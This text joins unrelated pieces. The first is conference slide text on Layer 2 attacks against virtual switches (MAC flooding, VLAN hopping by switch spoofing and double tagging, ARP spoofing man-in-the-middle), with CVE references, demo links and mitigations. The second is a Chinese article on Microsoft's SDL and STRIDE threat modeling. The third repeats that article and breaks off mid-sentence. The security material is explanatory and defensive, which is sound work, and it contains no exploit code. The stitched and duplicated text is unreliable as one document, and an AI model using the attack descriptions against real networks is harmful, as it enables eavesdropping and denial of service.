Ronny L. Bull - Clarkson University (Full system specs are provided in the white paper on the DEF CON 23 CD, and are also availabe on the DEF CON Media Server) Old Hardware Specs © 2016 Ronny L. Bull - Clarkson University New Environment (After 30K of funding. Thanks Utica College!) © 2016 Ronny L. Bull - Clarkson University • Identical Systems: • 1U SuperMicro server system • CPU: Intel Xeon X3-1240V3 Quad Core w/ Hyper-Threading • RAM: 32GB • Hard Drive: 500GB WD Enterprise 7200RPM SATA • 4 on-board Intel Gigabit network interface cards New Hardware Specs MAC Flooding Attack - Performance Updates - © 2016 Ronny L. Bull - Clarkson University MAC Flooding Attacks Network Diagram © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University MAC Flooding (Network Performance Metrics) - Gentoo/Xen Bridged Interface - © 2016 Ronny L. Bull - Clarkson University MAC Flooding (Network Performance Metrics) - Every Platform Including Cisco 2950 Control - © 2016 Ronny L. Bull - Clarkson University MAC Flooding (Network Performance Metrics) - Every Platform Including Cisco 2950 Control - Note: All Layer 2 vulnerabilities discussed were targeted towards the virtual networking devices not the hypervisors themselves VLAN Hopping © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University ● Attack used to gain unauthorized access to another Virtual LAN on a packet switched network ● Attacker sends frames from one VLAN to another that would otherwise be inaccessible ● Two methods: – Switch Spoofing ● Cisco proprietary – Double Tagging ● Exploitation of 802.1Q standard VLAN Hopping Attacks Virtual LAN Tag ● Ethernet frames are modified for VLAN traffic: ● Addition of a 802.1q VLAN header ● 32 bits of extra information wedged in Dst MAC Src MAC 802.1q VLAN Tag Type/Len Data FCS 4 Bytes TPID 0x8100 TPI (3 bits) DEI (1 bit) VID (12 bits) 2 Bytes 2 Bytes © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● CVE-2005-1942 ● http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1942 ● “Cisco switches that support 802.1x security allow remote attackers to bypass port security and gain access to the VLAN via spoofed Cisco Discovery Protocol (CDP) messages.” © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● Cisco Discovery Protocol ● Cisco proprietary Layer 2 protocol ● Allows connected Cisco devices to share information ● Operating system ● IP address ● Routing information ● Duplex settings ● VTP domain ● VLAN information © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● CVE-1999-1129 ● http://www.cvedetails.com/cve/CVE-1999-1129/ ● “Cisco Catalyst 2900 Virtual LAN (VLAN) switches allow remote attackers to inject 802.1q frames into another VLAN by forging the VLAN identifier in the trunking tag.” ● And directly from Cisco: ● DTP: Dynamic Trunking protocol. "If a switch port were configured as DTP auto and were to receive a fake DTP packet, it might become a trunk port and it might start accepting traffic destined for any VLAN" (Cisco). ● DTP Auto is the default setting on most Cisco switches! © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● Dynamic Trunking Protocol ● Cisco proprietary Layer 2 protocol ● Allows automatic configuration of trunk ports on Cisco switches ● Automatically configures VLAN trunking for all supported VLANs ● Provides ability to negotiate the trunking method with neighbor devices ● Pair this with CDP and your Cisco devices can pretty much configure themselves (not very securely!) © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● Consequences ● Attacker's system has a trunk connection to the switch ● Attacker can generate frames for any VLAN supported by the trunk connection ● Attacker can communicate with any device on any of the associated VLANs ● Two-way communication can occur between the attacker and a targeted node because the attacker can actually place themselves on the VLAN ● Also allows attacker to eavesdrop on the traffic within a target VLAN © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University Switch Spoofing Demo (VMWare ESXi 6.0) https://www.youtube.com/watch?v=mMGezerlg9c&feature=youtu.be&t=20s Switch Spoofing Results © 2016 Ronny L. Bull - Clarkson University Switch Spoofing ● Mitigation ● Disable unused switch ports ● Disable CDP and DTP ● Or use on an as need, per port basis! ● Restrict the amount of trunk ports ● Should only be configured when connecting devices require it (ie. other switches) ● Limit VLAN access on trunk ports to only what the connected segments require ● Configure all other ports as access ports (no trunking) with no access to the native VLAN © 2016 Ronny L. Bull - Clarkson University Double Tagging ● CVE-2005-4440 ● http://www.cvedetails.com/cve/CVE-2005-4440/ ● “The 802.1q VLAN protocol allows remote attackers to bypass network segmentation and spoof VLAN traffic via a message with two 802.1q tags, which causes the second tag to be redirected from a downstream switch after the first tag has been stripped.” ● A.K.A: “Double-Tagging VLAN jumping attack” © 2016 Ronny L. Bull - Clarkson University 802.1Q Tagging © 2016 Ronny L. Bull - Clarkson University 802.1Q Tagging © 2016 Ronny L. Bull - Clarkson University Double Tagging Dst MAC Src MAC 802.1q VLAN Tag Type/Len Data FCS 4 Bytes Dst MAC Src MAC 802.1q VLAN Tag Type/Len Data FCS 4 Bytes 802.1q VLAN Tag 802.1q VLAN Tag 4 Bytes Dst MAC Src MAC Type/Len Data FCS 802.3 Ethernet Frame Tagged with multiple 4 Byte 802.1q headers Standard 802.3 Ethernet Frame 802.3 Ethernet Frame Tagged with 4 Byte 802.1q header © 2016 Ronny L. Bull - Clarkson University Double Tagging © 2016 Ronny L. Bull - Clarkson University Double Tagging © 2016 Ronny L. Bull - Clarkson University Double Tagging ● Consequences ● Attacker can send packets to a target VLAN ● Targeted system cannot respond back ● Attacking system is on the native VLAN ● Target is on an access VLAN isolated from the native VLAN broadcast domain ● Not a good attack for eavesdropping ● Excellent method for DoS attacks ● Can be used as one way covert channels © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University Double-Tagging Demo (Two Physical Switches) https://www.youtube.com/watch?v=V2Ht-GB4NbE&feature=youtu.be&t=45s Physical Attacker, 2 Physical Cisco 2950 Switches, ProxMox Target © 2016 Ronny L. Bull - Clarkson University Double-Tagging Demo (Two Virtual Switches w/ a Cisco 2950 in the Middle) https://www.youtube.com/watch?v=jJDBJRoukIo&feature=youtu.be&t=45s Attacker: XenServer VM Target: ProxMox © 2016 Ronny L. Bull - Clarkson University Double-Tagging Demo (One Physical Switch) https://www.youtube.com/watch?v=np46KuXpk9c&feature=youtu.be&t=35s Attacker: Physical Kali Target: MS HyperV Guest via Cisco Nexus 1000v Double Tagging Results © 2016 Ronny L. Bull - Clarkson University Double Tagging ● Mitigation Techniques ● Do not assign any hosts to VLAN 1 (native VLAN) ● If necessary significantly limit access ● Disable VLAN 1 on unnecessary ports ● Change native VLAN on all trunk ports to something different than VLAN 1 ● Restrict access to switches by MAC address ● Can spoof MAC addresses to get around this ● Heart of this attack is having access to the native VLAN! ● This is the default VLAN for all ports on a switch! © 2016 Ronny L. Bull - Clarkson University ARP Spoofing © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University ● Layer 2 network protocol used to map physical MAC addresses to logical IP addresses within a broadcast domain ● Each system on the network maintains an 'ARP Cache' – Stores address translation information for 'discovered nodes' on the network – ARP caches will differ between inter-networked systems ● not every node needs to communicate with every other node – Common entries that are generally seen in the 'ARP cache' ● Default Gateway ● Local DNS servers Address Resolution Protocol © 2016 Ronny L. Bull - Clarkson University ● Simple process to discover the Layer 3 address of another node within the Layer 2 broadcast domain – Initiating system sends a broadcast request to the entire Layer 2 network: ● Who has '192.168.1.10' tell '192.168.1.3' – The node at '192.168.1.10' sees the broadcast and replies with its Layer 2 MAC address ● '192.168.1.10' is at 'ec:1b:d7:66:02:51' – The initiating system then stores the translation of 'ec:1b:d7:66:02:51' to '192.168.1.10' in its ARP Cache so that it does not need to repeat the discovery process again ARP Process © 2016 Ronny L. Bull - Clarkson University ARP Spoofing Normal Traffic Flow Target Virtual Machine Virtual Switch Router / Default Gateway Virtual Machine Physical Server NIC © 2016 Ronny L. Bull - Clarkson University ARP Spoofing Man-In-The-Middle Attack Target Virtual Machine Virtual Switch Router / Default Gateway Virtual Machine Physical Server NIC Attacker Virtual Machine © 2016 Ronny L. Bull - Clarkson University ARP Spoofing Man-In-The-Middle Attack Demo https://www.youtube.com/watch?v=1h-pbTktCwI&feature=youtu.be&t=1m45s Attacker: Physical Kali Target: VMWare ESXi 6.0 VM ARP Spoofing Results © 2016 Ronny L. Bull - Clarkson University © 2016 Ronny L. Bull - Clarkson University ● Cisco switches can make use of DHCP snooping and Dynamic ARP inspection – Validate ARP requests to verify authenticity – Feature not supported on any virtual switches except the non-free version of the Cisco Nexus 1000v ● arpwatch – Linux utility developed at the Lawrence Berkeley National Laboratory – Runs as a service on a Linux system and monitors the network for changes in ARP activity ARP Spoofing Mitigation Conclusion: Virtual vs Physical? ● Results show that virtual networking devices can pose the same or even greater risks than their physical counterparts ● Which systems were vulnerable varied widely across the tests – no one “best” system ● Lack of sophisticated Layer 2 security controls similar to what is available on enterprise grade physical switches greatly increases the difficulty in securing virtual switches against these attacks © 2016 Ronny L. Bull - Clarkson University Bottom-line impact © 2016 Ronny L. Bull - Clarkson University ● A single malicious virtual machine has the potential to sniff all traffic passing over a virtual switch – This can pass through the virtual switch and affect physically connected devices allowing traffic from other parts of the network to be sniffed as well! ● Significant threat to the confidentiality, integrity, and availability (CIA) of data passing over a network in a virtualized muli-tenant environment What can users do? © 2016 Ronny L. Bull - Clarkson University ● Educated users can question their hosting providers – Which virtual switch implementations being used? – To which attacks vulnerable? ● Audit the risk of workloads they run in the cloud or within multi- tenant virtualized environments ● Consider/request extra security measures – on their own and from hosting provider ● Increased use of encryption ● Service monitoring ● Threat detection and alerting Next steps for us © 2016 Ronny L. Bull - Clarkson University ● Small team – Improvements this year but more we’d like to do ● Institute for apples-to-apples testing of virtualized environments – Looking for industrial partners to participate ● More testing in production environments – Leads from last year still to followup on – Bottleneck is need more students funded to do testing (good educational value :-)) © 2016 Ronny L. Bull - Clarkson University ● Email: – bullrl@clarkson.edu – jnm@clarkson.edu ● The white paper and slides are available on the DEFCON 24 CD. The white paper contains links to each of the demo videos used in this presentation. ● Links to all publications, presentations, and demo videos related to this research can also be found at http://ronnybull.com
pdf
第 1页 共 12页 SDL-软件安全设计初窥 — safer applications begin with secure design — Cryin@insight-labs.org 摘要:本文详细介绍微软软件安全开发生命周期(SDL)相关概念,并讨论要遵循 SDL 过 程所应执行的各种安全活动,其中着重对软件安全设计的原则进行探讨。并对 STRIDE 威胁 建模方法进行深入介绍。 安全开发生命周期(SDL)是一个帮助开发人员构建更安全的软件和解决安全合规要求 的同时降低开发成本的软件开发过程。 安全应用从安全设计开始,软件的安全问题很大一 部分是由于不安全的设计而引入的,微软用多年的经验总结出了安全开发生命周期(SDL), 并提出了攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软件进行安全设计。 安全设计对于软件安全的重要性尤为可见。 第 2页 共 12页 一. 前言 1.1 SDL 介绍 安全开发生命周期(SDL)即 Security Development Lifecycle,是一个帮助开发人员 构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程。 自 2004 年 起,微软将 SDL 作为全公司的计划和强制政策,SDL 的核心理念就是将安全考虑集成在软件 开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一 个阶段每都增加了相应的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程 度。安全开发生命周期 (SDL)1 是侧重于软件开发的安全保证过程,旨在开发出安全的软件 应用。 1.2 SDL 安全活动 简单来说,SDL 是微软提出的从安全角度指导软件开发过程的管理模式,在传统软件开 发生命周期 (SDLC) 的各个阶段增加了一些必要的安全活动,软件开发的不同阶段所执行的 安全活动也不同,每个活动就算单独执行也都能对软件安全起到一定作用。当然缺少特定的 安全活动也会对软件的安全性带来影响。 图 1:微软 SDL 安全活动简图 我曾今有幸参加过微软安全专家 Michael Howard 及 Taha Mir 关于 SDL 及威胁建模的培 训,作为《软件安全开发生命周期》一书的作者,Michael Howard 不只一次强调,安全培 训是 SDL 最核心的概念,软件是由设计人员设计,代码是有开发人员编写。同样,大部分软 件本身的安全漏洞也是由设计及编码人员引入,所以对软件开发过程中的技术人员进行安全 培训这点至关重要。 1 https://www.microsoft.com/en-us/SDL/process/design.aspx 第 3页 共 12页 可以看到在整个 SDL 周期中,除了安全培训这项活动,还在软件发布后增加了安全应急 响应的相关活动,而目前国内大多数公司目前已经基本上具备了安全应急响应的活动和职能 部门,同时包括安全编码规范、代码审计、渗透测试等安全活动也都已经基本具备甚至个别 企业已经比较成熟。但在软件设计阶段的安全活动则相对较少,据我了解仅个别大型跨国企 业才拥有安全设计等相关的安全活动。而根据微软多年的实践和经验,软件的安全问题很大 一部分是由于不安全的设计而引入的。在设计阶段造成的安全缺陷在后期修复的成本和时间 都相对较高。STRIDE 威胁建模的创始人之一 Taha Mir 曾说过“safer applications begin with secure design”,即安全应用从安全设计开始,相应的微软 SDL 也提出了若干核心的 安全设计原则,并提出了如攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软 件进行安全设计,本文就针对当前国内企业在软件设计阶段安全活动发展相对欠缺的安全设 计进行探讨。 二. 安全设计核心原则 SDL 安全设计核心原则:  Attack Surface Reduction:攻击面最小化  Basic Privacy: 基本隐私  Least Privilege: 权限最小化  Secure Defaults: 默认安全  Defense in Depth:纵深防御  Threat Modeling:威胁建模 2.1 攻击面最小化 攻击面是指程序任何能被用户或者其它程序所访问到的部分,这些暴露给用 户的地方往往也是最可能被恶意攻击者攻击的地方。 攻击面最小化即是指尽量减少暴露恶意用户可能发现并试图利用的攻击面 数量。软件产品的受攻击面是一个混合体,不仅包括代码、接口、服务,也包括 对所有用户提供服务的协议。尤其是那些未被验证或者远程的用户都可以访问到 第 4页 共 12页 的协议,安全人员在攻击面最小化时首先要对攻击面进行分析,攻击面分析就是 枚举所有访问入库、接口、协议一剂可执行代码的过程,从高层次来说,攻击面 分析着重于:  降低默认执行的代码量  限制可访问到代码的人员范围  限定可访问到代码的人员身份  降低代码执行所需权限 常见的攻击面分析技巧如下表: Higher Attack Surface Lower Attack Surface On by default Off by default Open socket Close socket UDP TCP Anonymous access Authenticated user access Constantly on On as needed Internet accessible Local subnet accessible 表 1 攻击面分析常用技巧 攻击面最小化在微软的应用实践示例: Windows RPC 需要认证、防火墙默认打开 iis6.0、7.0 使用 Network service 权限运行,默认关闭. Sql server 2005 /2008 xp_cmdshell 存储过程默认关闭,默认不开放远程链接 VS2005/2008 Web server 和 sql server 默认仅本地访问 表 2 攻击面最小化微软实践示例 2.2 基本隐私 用户使用软件时无可避免个人信息被收集、使用甚至分发,企业则有责任和 义务建立保护个人信息的保护措施,抵御敌对攻击行为,确保用户基本隐私的安 全性。隐私安全是建立可信任应用程序的关键因素。 第 5页 共 12页 在软件设计时考虑用户基本隐私的必要性及意义有:  履行法律规定和义务  增加客户的信赖  防止堵塞部署 对于特殊的软件或者全球性的产品,设计人员需要明确软件的行为及针对人 群。尤其要考虑当地国家的法律法规,如美国儿童网路隐私保护法 COPPA(Children's Online Privacy Protection Act)等,企业在开发产品、服务时 有必要制定明确的隐私准则,对获取、记录用户隐私的相关产品需有明确的要求 和指导建议。 Tips:  只收集程序必须用到的隐私数据,并明确告知用户并征得用户同意;  微软对于用户隐私数据如密码、口令等均需要加密存储,最低要求是 sha256+salt,对于更高要求的则使用 PBKDF2 算法加密存储; 2.3 权限最小化 如果一个应用程序或网站被攻击、破坏,权限最小化机制能够有效的将潜在 损害最小化。常见的权限最小化实践如:  普通管理员/系统管理员等角色管理  文件只读权限/文件访问权限等访问控制  进程/服务以所需最小用户权限运行 在进行软件设计时,安全设计人员可以评估应用程序的行为及功能所需的最 低限度权限及访问级别,从而合理分配相应的权限。如果程序特定情况必须要较 高级别的权限,也可以考虑特权赋予及释放的机制。即便程序遭到攻击,也可以 将损失降到最低。 Tips:  Windows 系统中网络进程、本地服务、用户进程的权限都较低且互相独 立,分别为 NETWORK SERVICE、LOCAL SERVICE、user 权限,只 有核心的重要进程实用 SYSTEM 权限; 第 6页 共 12页  最新版本的 Office 程序打开不可信来源的文档时,默认时不可编辑的, 同时也是默认不可执行代码的,即使存在缓冲区溢出漏洞,也不会执行 shellcode 等恶意代码; 2.4 默认安全 默认安全配置在客户熟悉安全配置选项之前不仅有利于更好的帮助客户掌 握安全配置经验,同时也可以确保应用程序初始状态下处于较安全状态。而客户 可根据实际使用情况而决定应用程序安全与隐私的等级水平是否降低。 Tips:  在 Win 7 之后的 Windows 操作系统中,DEP(数据执行保护)默认是开启 的。用户可设置选项改变 DEP 的状态;  Win 10 默认启用安全防护软件 Windows Defender,用户可选择关闭; 2.5 纵深防御 与默认安全一样,纵深防御也是设计安全方案时的重要指导思想。纵深防御 包含两层含义:首先,要在各个不同层面、不同方面实施安全方案,避免出现疏 漏,不同安全方案之间需要相互配合,构成一个整体;其次,要在正确的地方做 正确的事情,即:在解决根本问题的地方实施针对性的安全方案。 纵深防御并不是同一个安全方案要做两遍或多遍,而是要从不同的层面、不 同的角度对系统做出整体的解决方案。 Tips:  针对 XSS 的防护,除了要对用户输入的特殊符号进行过滤,还要区分是 否是富文本进而进行相应编码操作,在输入时过滤的同时在输出时也进 行过滤操作。  即使做了十足的过滤、编码等安全防护,为了更一步确保缓解 XSS 攻击, Internet Explorer 6 SP1 为 Cookie 引入了一个新属性,这个属性规定, 不许通过脚本访问 cookie。Web 站点程序对 Cookie 启用 HTTP-Only 第 7页 共 12页 属性后,可确保即使发生 XSS 攻击,也可以阻止通过脚本访问 Cookie 的操作。 2.6 威胁建模 威胁建模是一种分析应用程序威胁的过程和方法。这里的威胁是指恶意用户 可能会试图利用以破坏系统,和我们常说的漏洞并不相同。漏洞是一个特定的可 以被利用的威胁,如缓冲区溢出、sql 注入等。 作为 SDL 设计阶段的一部分安全活动,威胁建模允许安全设计人员尽在的 识别潜在的安全问题并实施相应缓解措施。在设计阶段把潜在的威胁发现有助于 威胁的全面和更有效的解决,同时也有助于降低开发和后期维护的成本。威胁建 模的一般流程如下:  与系统架构师及设计人员沟通,了解设计详情  使用成熟的威胁建模方法分析当前设计潜在的安全问题  提出安全建议及对潜在威胁的缓解措施  对安全设计进行验证并对整个设计方案进行回顾并再次确认 微软使用的威胁建模方法是 STRIDE 威胁建模方法。为了便于安全人员快速 便捷的进行威胁建模,微软开发基于 STRIDE 威胁建模方法的 SDL Threat Modeling Tool2威胁建模工具,该工具可以帮助安全人员画数据流图、分析威胁、 生成并导出威胁建模报告。 三. STRIDE 威胁建模方法 3.1 STRIDE 介绍 STRIDE 威胁建模是由微软提出的一种威胁建模方法,该方法将威胁类型分 为 Spoofing(仿冒)、Tampering(篡改)、Repudiation(抵赖)、Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)和 Elevation of Privilege 2 https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx 第 8页 共 12页 (权限提升)。这六种威胁的首字母缩写即是 STRIDE,STRIDE 威胁模型几乎 可以涵盖目前绝大部分安全问题。此外,STRIDE 威胁建模方法有着详细的流程 和方法。 3.2 威胁建模流程 STRIDE 威胁建模的一般流程如下:  绘制数据流图  识别威胁  提出缓解措施  安全验证 图 2: STRIDE 威胁建模流程 3.2.1 数据流图 数据流图(Data Flow Diagrams)包含外部实体(External Entity)、处理过 程(Process)、数据流(Data Flow)、数据存储(Data Store),安全人员与系统架 构师及设计人员沟通,了解设计详情并画出数据流图后还需要标注信任边界 (Trust Boundary),针对简单的 Web 应用的数据流图如下: 第 9页 共 12页 图 3: 数据流图示例及元素类型 3.2.2 识别威胁 STRIDE 威胁建模方法已经明确了每个数据流图元素具有不同的威胁,其中 外部实体只有仿冒(S)、抵赖(R)威胁,数据流只有篡改(T)、信息泄露(I)、 拒绝服务(D)威胁,处理过程有所有六种(STRIDE)威胁,存储过程有篡改 (T)、信息泄露(I)、拒绝服务(D)威胁,但如果是日志类型存储则还有抵 赖(R)威胁。具体可以对照如下表格进行威胁识别: 元素 S T R I D E 外部实体 √ √ 处理过程 √ √ √ √ √ √ 数据存储 √ ? √ √ 数据流 √ √ √ 表 3 数据流图元素对应的不同威胁 3.2.3 缓解措施 根据不同的数据流图元素及威胁,相应的缓解措施也不相同。如本文示例数 据流图中外部实体用户的仿冒威胁,其缓解措施简单来说就是对用户身份进行认 证。对于一个 Web 应用来说,缓解仿冒威胁不仅需要较强的认证机制,还需要 第10页 共12页 防止恶意攻击者用暴力破解、口令猜测等方法绕过认证从而造成仿冒用户的威 胁。如果笔者来提出该用户仿冒威胁的缓解措施的话,详细措施如下:  对用户访问进行帐号密码、证书等身份认证;  用户帐号密码认证过程中,如果出现三次密码错误,则增加验证码机制。 输入验证码且正确再进行身份认证;  当用户认证 5 次后仍然验证失败,则在 30 分钟内禁止该帐号登录;  用户密码必须包含数字、字母及特殊字符,且长度在 8 位以上,如果业 务安全需要则增加密码过期机制,每隔 6 个月提醒用户修改密码; 在提出缓解措施时,有的时候不仅要考虑安全问题,同时也要考虑软件的易 用性,所以不同的威胁,不同的应用场景。其缓解措施也要随之而改变以提高应 用安全的同时也能给用户带来较好的交互体验。 微软对于常用的威胁给出了其常用的标准缓解措施,并在具体实施时已将常 用的缓解方案及措施集成为独立的解决方案或者代码模块。可以方便同类应用直 接使用。 威胁类型 缓解措施 技术方案 仿冒(S) 认证 Kerberos 认证 PKI 系统如 SSL / TLS 证 书 数字签名 篡改(T) 完整性保护 访问控制 完整性校验 抵赖(R) 日志审计 强认证 安全日志、审计 信息泄露(I) 保密性 加密 访问控制列表 拒绝服务(D) 可用性 访问控制列表 过滤 热备份 权限提升(E) 授权认证 输入校验 第11页 共12页 用户组管理 访问控制列表 3.2.4 安全验证 在威胁建模完成后,需要对整个过程进行回顾,不仅要确认缓解措施是否能 够真正缓解潜在威胁,同时验证数据流图是否符合设计,代码实现是否符合预期 设计,所有的威胁是否都有相应的缓解措施。最后将威胁建模报告留存档案,作 为后续迭代开发、增量开发时威胁建模的参考依据。 四. 总结 SDL 的核心理念是将安全考虑集成在软件开发的每一个阶段:需求分析、设 计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应 的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。本文重点 介绍了设计阶段的安全活动指导思想及 STRIDE 威胁建模,但 SDL 的其它阶段 的不同安全活动也同样对软件安全有着重要影响。同时本文介绍的安全设计原则 仅为指导思想,安全设计人员还需要掌握一定的安全攻防知识,具备一定的安全 攻防经验才能更好的设计出安全的方案及软件应用。另外根据笔者经验,在实际 的安全设计工作中,对于不同软件及应用场景其面临的安全问题也不同。随着互 联网时代发展,目前已经不在是单纯的软件时代了,类似移动端应用、智能硬件、 云端、大数据平台等新形态的应用都面临的自身特有的安全问题。安全设计人员 要考虑的也要更多,但安全设计的核心原则还是相差无几。由于篇幅及笔者经验 有限,本文所述如有不妥之处可以与笔者联系交流。 第12页 共12页 五. 参考文献 [1] https://www.microsoft.com/en-us/SDL/process/design.aspx [2] http://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx [3] Introduction_to_Threat_Modeling [4] Simplified Implementation of the SDL [5] https://github.com/Cryin/Paper
pdf
第 1页 共 12页 SDL-软件安全设计初窥 — safer applications begin with secure design — Cryin@insight-labs.org 摘要:本文详细介绍微软软件安全开发生命周期(SDL)相关概念,并讨论要遵循 SDL 过 程所应执行的各种安全活动,其中着重对软件安全设计的原则进行探讨。并对 STRIDE 威胁 建模方法进行深入介绍。 安全开发生命周期(SDL)是一个帮助开发人员构建更安全的软件和解决安全合规要求 的同时降低开发成本的软件开发过程。 安全应用从安全设计开始,软件的安全问题很大一 部分是由于不安全的设计而引入的,微软用多年的经验总结出了安全开发生命周期(SDL), 并提出了攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软件进行安全设计。 安全设计对于软件安全的重要性尤为可见。 第 2页 共 12页 一. 前言 1.1 SDL 介绍 安全开发生命周期(SDL)即 Security Development Lifecycle,是一个帮助开发人员 构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程。 自 2004 年 起,微软将 SDL 作为全公司的计划和强制政策,SDL 的核心理念就是将安全考虑集成在软件 开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一 个阶段每都增加了相应的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程 度。安全开发生命周期 (SDL)1 是侧重于软件开发的安全保证过程,旨在开发出安全的软件 应用。 1.2 SDL 安全活动 简单来说,SDL 是微软提出的从安全角度指导软件开发过程的管理模式,在传统软件开 发生命周期 (SDLC) 的各个阶段增加了一些必要的安全活动,软件开发的不同阶段所执行的 安全活动也不同,每个活动就算单独执行也都能对软件安全起到一定作用。当然缺少特定的 安全活动也会对软件的安全性带来影响。 图 1:微软 SDL 安全活动简图 我曾今有幸参加过微软安全专家 Michael Howard 及 Taha Mir 关于 SDL 及威胁建模的培 训,作为《软件安全开发生命周期》一书的作者,Michael Howard 不只一次强调,安全培 训是 SDL 最核心的概念,软件是由设计人员设计,代码是有开发人员编写。同样,大部分软 件本身的安全漏洞也是由设计及编码人员引入,所以对软件开发过程中的技术人员进行安全 培训这点至关重要。 1 https://www.microsoft.com/en-us/SDL/process/design.aspx 第 3页 共 12页 可以看到在整个 SDL 周期中,除了安全培训这项活动,还在软件发布后增加了安全应急 响应的相关活动,而目前国内大多数公司目前已经基本上具备了安全应急响应的活动和职能 部门,同时包括安全编码规范、代码审计、渗透测试等安全活动也都已经基本具备甚至个别 企业已经比较成熟。但在软件设计阶段的安全活动则相对较少,据我了解仅个别大型跨国企 业才拥有安全设计等相关的安全活动。而根据微软多年的实践和经验,软件的安全问题很大 一部分是由于不安全的设计而引入的。在设计阶段造成的安全缺陷在后期修复的成本和时间 都相对较高。STRIDE 威胁建模的创始人之一 Taha Mir 曾说过“safer applications begin with secure design”,即安全应用从安全设计开始,相应的微软 SDL 也提出了若干核心的 安全设计原则,并提出了如攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软 件进行安全设计,本文就针对当前国内企业在软件设计阶段安全活动发展相对欠缺的安全设 计进行探讨。 二. 安全设计核心原则 SDL 安全设计核心原则:  Attack Surface Reduction:攻击面最小化  Basic Privacy: 基本隐私  Least Privilege: 权限最小化  Secure Defaults: 默认安全  Defense in Depth:纵深防御  Threat Modeling:威胁建模 2.1 攻击面最小化 攻击面是指程序任何能被用户或者其它程序所访问到的部分,这些暴露给用 户的地方往往也是最可能被恶意攻击者攻击的地方。 攻击面最小化即是指尽量减少暴露恶意用户可能发现并试图利用的攻击面 数量。软件产品的受攻击面是一个混合体,不仅包括代码、接口、服务,也包括 对所有用户提供服务的协议。尤其是那些未被验证或者远程的用户都可以访问到 第 4页 共 12页 的协议,安全人员在攻击面最小化时首先要对攻击面进行分析,攻击面分析就是 枚举所有访问入库、接口、协议一剂可执行代码的过程,从高层次来说,攻击面 分析着重于:  降低默认执行的代码量  限制可访问到代码的人员范围  限定可访问到代码的人员身份  降低代码执行所需权限 常见的攻击面分析技巧如下表: Higher Attack Surface Lower Attack Surface On by default Off by default Open socket Close socket UDP TCP Anonymous access Authenticated user access Constantly on On as needed Internet accessible Local subnet accessible 表 1 攻击面分析常用技巧 攻击面最小化在微软的应用实践示例: Windows RPC 需要认证、防火墙默认打开 iis6.0、7.0 使用 Network service 权限运行,默认关闭. Sql server 2005 /2008 xp_cmdshell 存储过程默认关闭,默认不开放远程链接 VS2005/2008 Web server 和 sql server 默认仅本地访问 表 2 攻击面最小化微软实践示例 2.2 基本隐私 用户使用软件时无可避免个人信息被收集、使用甚至分发,企业则有责任和 义务建立保护个人信息的保护措施,抵御敌对攻击行为,确保用户基本隐私的安 全性。隐私安全是建立可信任应用程序的关键因素。 第 5页 共 12页 在软件设计时考虑用户基本隐私的必要性及意义有:  履行法律规定和义务  增加客户的信赖  防止堵塞部署 对于特殊的软件或者全球性的产品,设计人员需要明确软件的行为及针对人 群。尤其要考虑当地国家的法律法规,如美国儿童网路隐私保护法 COPPA(Children's Online Privacy Protection Act)等,企业在开发产品、服务时 有必要制定明确的隐私准则,对获取、记录用户隐私的相关产品需有明确的要求 和指导建议。 Tips:  只收集程序必须用到的隐私数据,并明确告知用户并征得用户同意;  微软对于用户隐私数据如密码、口令等均需要加密存储,最低要求是 sha256+salt,对于更高要求的则使用 PBKDF2 算法加密存储; 2.3 权限最小化 如果一个应用程序或网站被攻击、破坏,权限最小化机制能够有效的将潜在 损害最小化。常见的权限最小化实践如:  普通管理员/系统管理员等角色管理  文件只读权限/文件访问权限等访问控制  进程/服务以所需最小用户权限运行 在进行软件设计时,安全设计人员可以评估应用程序的行为及功能所需的最 低限度权限及访问级别,从而合理分配相应的权限。如果程序特定情况必须要较 高级别的权限,也可以考虑特权赋予及释放的机制。即便程序遭到攻击,也可以 将损失降到最低。 Tips:  Windows 系统中网络进程、本地服务、用户进程的权限都较低且互相独 立,分别为 NETWORK SERVICE、LOCAL SERVICE、user 权限,只 有核心的重要进程实用 SYSTEM 权限; 第 6页 共 12页  最新版本的 Office 程序打开不可信来源的文档时,默认时不可编辑的, 同时也是默认不可执行代码的,即使存在缓冲区溢出漏洞,也不会执行 shellcode 等恶意代码; 2.4 默认安全 默认安全配置在客户熟悉安全配置选项之前不仅有利于更好的帮助客户掌 握安全配置经验,同时也可以确保应用程序初始状态下处于较安全状态。而客户 可根据实际使用情况而决定应用程序安全与隐私的等级水平是否降低。 Tips:  在 Win 7 之后的 Windows 操作系统中,DEP(数据执行保护)默认是开启 的。用户可设置选项改变 DEP 的状态;  Win 10 默认启用安全防护软件 Windows Defender,用户可选择关闭; 2.5 纵深防御 与默认安全一样,纵深防御也是设计安全方案时的重要指导思想。纵深防御 包含两层含义:首先,要在各个不同层面、不同方面实施安全方案,避免出现疏 漏,不同安全方案之间需要相互配合,构成一个整体;其次,要在正确的地方做 正确的事情,即:在解决根本问题的地方实施针对性的安全方案。 纵深防御并不是同一个安全方案要做两遍或多遍,而是要从不同的层面、不 同的角度对系统做出整体的解决方案。 Tips:  针对 XSS 的防护,除了要对用户输入的特殊符号进行过滤,还要区分是 